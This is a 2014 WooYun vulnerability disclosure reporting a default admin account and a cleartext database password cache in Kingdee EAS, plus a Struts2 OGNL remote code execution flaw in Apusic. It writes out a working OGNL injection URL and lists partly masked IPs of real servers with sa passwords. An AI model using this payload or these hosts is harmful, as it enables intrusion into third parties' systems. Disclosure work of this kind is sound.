当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064763

漏洞标题:金蝶某软件存在多个安全漏洞(通用管理账号+获得数据库密码+远程代码执行)

相关厂商:金蝶

漏洞作者: 路人甲

提交时间:2014-06-13 10:43

修复时间:2014-09-11 10:44

公开时间:2014-09-11 10:44

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-13: 细节已通知厂商并且等待厂商处理中
2014-06-13: 厂商已经确认,细节仅向厂商公开
2014-06-16: 细节向第三方安全合作伙伴开放
2014-08-07: 细节向核心白帽子及相关领域专家公开
2014-08-17: 细节向普通白帽子公开
2014-08-27: 细节向实习白帽子公开
2014-09-11: 细节向公众公开

简要描述:

金蝶某软件存在多个安全漏洞(通用管理账号+获得数据库密码+远程代码执行)

详细说明:

实际上是2个软件的漏洞,放在一起就不单独发了。金蝶eas存在通用管理账号+获得数据库密码漏洞,金蝶apusic存在远程代码执行漏洞。
下面的信息希望乌云在确认漏洞予以模糊处理,以免对厂商和用户产生不良影响:
漏洞一、金蝶eas系统存在一个默认的管理员账号adm***r,密码是****n,大部分用户应该知道这个账号的存在,但不少没有去修改这个密码的。如果要验证这个漏洞,需要安装金蝶eas的客户端,网上可以找到,如果需要可以跟我联系,我发一份给你们,因为每次修改金蝶eas服务端的ip后,客户端都要更新,比较费时,所以我就找了几个服务端ip,给你们验证这个漏洞,实际网上还有不少:
60.190.***.***
218.58.***.***
218.61.***.***
218.63.***.***
218.65.***.***

1.jpg


漏洞二、金蝶eas客户端在连接到服务器端后,需要输入用户名和密码,如下图:

2.jpg


输入正确的用户名和密码后方可进入后台页面,但这里有个漏洞,不管输入的密码是否正确,都会在本地金蝶eas安装路径下建立一个文件夹(经过测试,如果用户当前在线不会建立这个文件),我的金蝶eas安装在d盘下的kingdee目录中,这个文件夹就会在D:\kingdee\eas\client\cache下,文件夹是以ip地址为名字,其中有个文件叫loginparamcache.dat,用记事本打开,会看到一些字符,其中会有金蝶eas数据源的名字,还有操作这个数据源的数据库密码,如下面两幅图:

3.jpg


QQ截图20140613213533.png


一般情况下,数据库密码泄露对服务器端的影响不大,因为金蝶eas客户端通过中间件apusic与服务器端通讯,不会通过数据库端口直接通讯,但也有一些例外情况,就是数据库服务器直接在外网上,或者数据库服务器的数据库端口被映射到了外网路由上,这样就可以通过数据库连接工具直接连接到数据库上,下面是几个可以直接连接上数据库的例子,找了几个sqlserver的,密码都是通过上面的方式获得的,sa权限:
218.241.***.*** sa CM***e
221.224.***.*** sa Ib***1
221.226.***.*** sa Js***66
222.178.***.*** sa ***z
222.223.***.*** sa ***3
漏洞三、金蝶apusic中间件的命令执行漏洞,是因为中间件部署的一个名叫war中使用了strust,我对java不熟,不知道这样描述是否正确,如下图所示:

5.jpg


6.jpg


命令执行,爆目录:
http://218.241.***.***/*****.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43req\[email protected]@getRequest()')(d))&(i2)(('\43xman\[email protected]@getResponse()')(d))&(i2)(('\43xman\[email protected]@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43req.getRealPath(%22\u005c%22))')(d))&(i99)(('\43xman.getWriter().close()')(d))
不知道最新的apusic是否还存在这个漏洞,网上运行apusic的服务器很多,政府、大企业不少使用这个的,就用上面的几个例子试试就可以了,就不再找例子了。

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-06-13 12:02

厂商回复:

谢谢路人甲对金蝶关注,深入研究金蝶产品,并提出安全建议,我们正在通知客户加固并采取措施避免问题再次出现。
提个建议,因这些都是客户的系统,请后续避免公布客户配置信息(如IP地址、密码等)。如果有任何的疑问,欢迎反馈!再次感谢!

最新状态:

暂无